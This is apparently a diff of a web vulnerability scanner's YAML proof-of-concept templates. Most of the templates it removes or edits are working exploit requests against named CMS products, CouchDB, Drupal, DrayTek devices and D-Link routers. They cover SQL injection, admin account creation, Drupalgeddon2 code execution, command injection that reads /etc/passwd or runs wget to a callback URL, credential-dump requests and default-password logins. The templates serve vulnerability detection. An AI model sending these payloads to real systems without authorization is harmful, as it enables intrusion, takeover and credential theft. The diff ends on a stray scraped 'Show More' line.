-      response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in")
-  - method: GET
-    path: /addons/phpmailer/phpmailer.php
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in")
-detail:
-  author: we1x4n(https://we1x4n.github.io/)
-  links:
-    - https://github.com/CouchCMS/CouchCMS/issues/46
--- a/WebScan/pocs/couchdb-cve-2017-12635.yml
+++ b/WebScan/pocs/couchdb-cve-2017-12635.yml
@@ -1,24 +0,0 @@
-name: poc-yaml-couchdb-cve-2017-12635
-set:
-  r1: randomLowercase(32)
-rules:
-  - method: PUT
-    path: '/_users/org.couchdb.user:{{r1}}'
-    headers:
-      Content-Type: application/json
-      Content-Length: '192'
-    body: |-
-      {
-        "type": "user",
-        "name": "{{r1}}",
-        "roles": ["_admin"],
-        "roles": [],
-        "password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9"
-      }
-    follow_redirects: false
-    expression: |
-      response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1))
-detail:
-  author: j4ckzh0u(https://github.com/j4ckzh0u)
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
--- a/WebScan/pocs/couchdb-unauth.yml
+++ b/WebScan/pocs/couchdb-unauth.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-couchdb-unauth
-rules:
-  - method: GET
-    path: /_config
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager")
-detail:
-  author: FiveAourThe(https://github.com/FiveAourThe)
-  links:
-    - https://www.seebug.org/vuldb/ssvid-91597
--- a/WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml
+++ b/WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml
@@ -1,20 +0,0 @@
-name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce
-set:
-  r1: randomInt(40000, 44800)
-  r2: randomInt(40000, 44800)
-groups:
-  poc1:
-    - method: GET
-      path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}}
-      expression: |
-        response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
-  poc2:
-    - method: GET
-      path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}}
-      expression: |
-        response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
-  author: x1n9Qi8
-  links:
-    - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181
-    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757
--- a/WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml
+++ b/WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml
@@ -1,14 +0,0 @@
-name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
-rules:
-  - method: POST
-    path: /login.cgi
-    follow_redirects: false
-    body: >-
-      user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
-    expression: |
-      response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")
-
-detail:
-  author: B1anda0(https://github.com/B1anda0)
-  links:
-    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128
--- a/WebScan/pocs/dedecms-carbuyaction-fileinclude.yml
+++ b/WebScan/pocs/dedecms-carbuyaction-fileinclude.yml
@@ -1,22 +0,0 @@
-name: poc-yaml-dedecms-carbuyaction-fileinclude
-rules:
-  - method: GET
-    path: /plus/carbuyaction.php?dopost=return&code=../../
-    headers:
-      Cookie: code=alipay
-    follow_redirects: true
-    expression: |
-      response.status == 200
-  - method: GET
-    path: /plus/carbuyaction.php?dopost=return&code=../../
-    headers:
-      Cookie: code=cod
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("Cod::respond()"))
-
-detail:
-  author: harris2015(https://github.com/harris2015)
-  Affected Version: "DedeCmsV5.x"
-  links:
-    - https://www.cnblogs.com/milantgh/p/3615986.html
--- a/WebScan/pocs/dedecms-cve-2018-6910.yml
+++ b/WebScan/pocs/dedecms-cve-2018-6910.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-dedecms-cve-2018-6910
-rules:
-  - method: GET
-    path: /include/downmix.inc.php
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()"))
-detail:
-  author: PickledFish(https://github.com/PickledFish)
-  links:
-    - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md
--- a/WebScan/pocs/dedecms-cve-2018-7700-rce.yml
+++ b/WebScan/pocs/dedecms-cve-2018-7700-rce.yml
@@ -1,15 +0,0 @@
-name: poc-yaml-dedecms-cve-2018-7700-rce
-set:
-  r: randomInt(2000000000, 2100000000)
-rules:
-  - method: GET
-    path: >-
-      /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
-detail:
-  author: harris2015(https://github.com/harris2015)
-  Affected Version: "V5.7SP2正式版(2018-01-09)"
-  links:
-    - https://xz.aliyun.com/t/2224
--- a/WebScan/pocs/dedecms-guestbook-sqli.yml
+++ b/WebScan/pocs/dedecms-guestbook-sqli.yml
@@ -1,26 +0,0 @@
-name: poc-yaml-dedecms-guestbook-sqli
-set:
-  r: randomInt(800000000, 1000000000)
-rules:
-  - method: GET
-    path: /plus/guestbook.php
-    follow_redirects: true
-    expression: |
-      response.status == 200
-    search: action=admin&id=(?P<articleid>\d{1,20})
-  - method: GET
-    path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email='
-    follow_redirects: true
-    expression: |
-      response.status == 200
-  - method: GET
-    path: /plus/guestbook.php
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
-
-detail:
-  author: harris2015(https://github.com/harris2015)
-  Affected Version: "5.7"
-  links:
-    - https://blog.csdn.net/god_7z1/article/details/8180454
--- a/WebScan/pocs/dedecms-membergroup-sqli.yml
+++ b/WebScan/pocs/dedecms-membergroup-sqli.yml
@@ -1,15 +0,0 @@
-name: poc-yaml-dedecms-membergroup-sqli
-set:
-  r: randomInt(800000000, 1000000000)
-rules:
-  - method: GET
-    path: >-
-      /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'`
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
-detail:
-  author: harris2015(https://github.com/harris2015)
-  Affected Version: "5.6,5.7"
-  links:
-    - http://www.dedeyuan.com/xueyuan/wenti/1244.html
--- a/WebScan/pocs/dedecms-url-redirection.yml
+++ b/WebScan/pocs/dedecms-url-redirection.yml
@@ -1,13 +0,0 @@
-name: poc-yaml-dedecms-url-redirection
-rules:
-  - method: GET
-    path: >-
-      /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t
-    follow_redirects: false
-    expression: >
-      response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com"
-detail:
-  author: cc_ci(https://github.com/cc8ci)
-  Affected Version: "V5.7 sp1"
-  links:
-    - https://blog.csdn.net/ystyaoshengting/article/details/82734888
--- a/WebScan/pocs/discuz-v72-sqli.yml
+++ b/WebScan/pocs/discuz-v72-sqli.yml
@@ -1,14 +0,0 @@
-name: poc-yaml-discuz-v72-sqli
-rules:
-  - method: GET
-    path: >-
-      /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info</b>: MySQL Query Error")
-detail:
-  author: leezp
-  Affected Version: "discuz <=v7.2"
-  vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20"
-  links:
-    - https://blog.csdn.net/weixin_40709439/article/details/82780606
--- a/WebScan/pocs/discuz-wechat-plugins-unauth.yml
+++ b/WebScan/pocs/discuz-wechat-plugins-unauth.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-discuz-wechat-plugins-unauth
-rules:
-  - method: GET
-    path: '/plugin.php?id=wechat:wechat&ac=wxregister'
-    follow_redirects: false
-    expression: |
-      response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com")
-detail:
-  author: JrD
-  links:
-    - https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI
--- a/WebScan/pocs/discuz-wooyun-2010-080723.yml
+++ b/WebScan/pocs/discuz-wooyun-2010-080723.yml
@@ -1,17 +0,0 @@
-name: poc-yaml-discuz-wooyun-2010-080723
-set:
-  rand: randomInt(200000000, 210000000)
-rules:
-  - method: GET
-    path: >-
-      /viewthread.php?tid=10
-    headers:
-      Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}}));
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
-detail:
-  version: Discuz 7.x/6.x
-  author: Loneyer
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723
--- a/WebScan/pocs/dlink-850l-info-leak.yml
+++ b/WebScan/pocs/dlink-850l-info-leak.yml
@@ -1,17 +0,0 @@
-name: poc-yaml-dlink-850l-info-leak
-rules:
-  - method: POST
-    path: /hedwig.cgi
-    headers:
-      Content-Type: text/xml
-      Cookie: uid=R8tBjwtFc8
-    body: |-
-      <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>") && response.body.bcontains(b"<result>OK</result>")
-detail:
-  author: cc_ci(https://github.com/cc8ci)
-  Affected Version: "Dir-850L"
-  links:
-    - https://xz.aliyun.com/t/2941
--- a/WebScan/pocs/dlink-cve-2019-16920-rce.yml
+++ b/WebScan/pocs/dlink-cve-2019-16920-rce.yml
@@ -1,19 +0,0 @@
-name: poc-yaml-dlink-cve-2019-16920-rce
-set:
-  reverse: newReverse()
-  reverseURL: reverse.url
-rules:
-  - method: POST
-    path: /apply_sec.cgi
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: >-
-      html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}}
-    follow_redirects: true
-    expression: |
-      response.status == 200 && reverse.wait(5)
-detail:
-  author: JingLing(https://hackfun.org/)
-  links:
-    - https://www.anquanke.com/post/id/187923
-    - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
--- a/WebScan/pocs/dlink-cve-2019-17506.yml
+++ b/WebScan/pocs/dlink-cve-2019-17506.yml
@@ -7,7 +7,7 @@ rules:
    body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
    follow_redirects: false
    expression: >
-      response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
+      response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
 detail:
  author: l1nk3r,Huasir(https://github.com/dahua966/)
  links:
--- a/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml
+++ b/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml
@@ -1,13 +0,0 @@
-name: poc-yaml-dlink-cve-2020-25078-account-disclosure
-rules:
-  - method: GET
-    path: >-
-      /config/getuser?index=0
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.headers["Content-Type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=")
-
-detail:
-  author: kzaopa(https://github.com/kzaopa)
-  links:
-    - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg
--- a/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml
+++ b/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml
@@ -7,9 +7,9 @@ rules:
    body: >-
      SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
    expression: >
-      response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
+      response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
 detail:
  author: x1n9Qi8
  Affected Version: "Dlink DIR-610"
  links:
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
--- a/WebScan/pocs/dlink-dsl-2888a-rce.yml
+++ b/WebScan/pocs/dlink-dsl-2888a-rce.yml
@@ -1,25 +0,0 @@
-name: poc-yaml-dlink-dsl-2888a-rce
-rules:
-  - method: GET
-    path: /page/login/login.html
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";")
-  - method: POST
-    path: /
-    body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    follow_redirects: false
-    expression: |
-      response.status == 302 && response.headers["location"] == "/page/login/login_fail.html"
-  - method: GET
-    path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)")
-detail:
-  author: mvhz81
-  info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE
-  links:
-    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
--- a/WebScan/pocs/docker-api-unauthorized-rce.yml
+++ b/WebScan/pocs/docker-api-unauthorized-rce.yml
@@ -4,7 +4,7 @@ rules:
    path: /info
    follow_redirects: false
    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
+      response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")

 detail:
  author: j4ckzh0u(https://github.com/j4ckzh0u)
--- a/WebScan/pocs/dotnetcms-sqli.yml
+++ b/WebScan/pocs/dotnetcms-sqli.yml
@@ -1,21 +0,0 @@
-name: poc-yaml-dotnetcms-sqli
-set:
-  r1: randomInt(800000000, 1000000000)
-  r2: randomInt(1, 100)
-rules:
-  - method: GET
-    path: /user/City_ajax.aspx
-    follow_redirects: false
-    expression: |
-      response.status == 200
-  - method: GET
-    path: >-
-      /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2--
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
-detail:
-  Affected Version: "v1.0~v2.0"
-  links:
-    - https://www.cnblogs.com/rebeyond/p/4951418.html
-    - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742
--- a/WebScan/pocs/draytek-cve-2020-8515.yml
+++ b/WebScan/pocs/draytek-cve-2020-8515.yml
@@ -1,15 +0,0 @@
-name: poc-yaml-draytek-cve-2020-8515
-rules:
-  - method: POST
-    path: /cgi-bin/mainfunction.cgi
-    headers:
-      Content-Type: text/plain; charset=UTF-8
-    body: >-
-      action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a
-    expression: >
-      response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"gid") && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: Soveless(https://github.com/Soveless)
-  Affected Version: "Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2"
-  links:
-    - https://github.com/imjdl/CVE-2020-8515-PoC
--- a/WebScan/pocs/drupal-cve-2014-3704-sqli.yml
+++ b/WebScan/pocs/drupal-cve-2014-3704-sqli.yml
@@ -1,14 +0,0 @@
-name: poc-yaml-drupal-cve-2014-3704-sqli
-rules:
-  - method: POST
-    path: /?q=node&destination=node
-    body: >-
-      pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or
-      updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a
-    follow_redirects: false
-    expression: |
-      response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53")
-detail:
-  Affected Version: "Drupal < 7.32"
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
--- a/WebScan/pocs/drupal-cve-2018-7600-rce.yml
+++ b/WebScan/pocs/drupal-cve-2018-7600-rce.yml
@@ -1,39 +0,0 @@
-name: poc-yaml-drupal-cve-2018-7600-rce
-set:
-  r1: randomLowercase(4)
-  r2: randomLowercase(4)
-groups:
-  drupal8:
-    - method: POST
-      path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
-      expression: |
-        response.body.bcontains(bytes(r1 + "%" + r2))
-  drupal7:
-    - method: POST
-      path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
-      search: |
-        name="form_build_id"\s+value="(?P<build_id>.+?)"
-      expression: |
-        response.status == 200
-    - method: POST
-      path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
-      headers:
-        Content-Type: application/x-www-form-urlencoded
-      body: |
-        form_build_id={{build_id}}
-      expression: |
-        response.body.bcontains(bytes(r1 + "%" + r2))
-detail:
-  links:
-    - https://github.com/dreadlocked/Drupalgeddon2
-    - https://paper.seebug.org/567/
-test:
-  target: http://cve-2018-7600-8-x.vulnet:8080/
--- a/WebScan/pocs/drupal-cve-2019-6340.yml
+++ b/WebScan/pocs/drupal-cve-2019-6340.yml
@@ -25,9 +25,9 @@ rules:
      }
    follow_redirects: true
    expression: |
-      response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2))
+      response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
 detail:
  author: thatqier
  links:
    - https://github.com/jas502n/CVE-2019-6340
-    - https://github.com/knqyf263/CVE-2019-6340
+    - https://github.com/knqyf263/CVE-2019-6340
--- a/WebScan/pocs/drupal-drupal7geddon2-rce.yml
+++ b/WebScan/pocs/drupal-drupal7geddon2-rce.yml
@@ -0,0 +1,28 @@
+name: poc-yaml-drupal-drupalgeddon2-rce  # nolint[:namematch]
+set:
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+rules:
+  - method: POST
+    path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
+    search: |
+      name="form_build_id"\s+value="(?P<build_id>.+?)"
+    expression: |
+      response.status == 200
+  - method: POST
+    path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_build_id={{build_id}}
+    expression: |
+      response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  drupal_version: 7
+  links:
+    - https://github.com/dreadlocked/Drupalgeddon2
+    - https://paper.seebug.org/567/
--- a/Show More
+++ b/Show More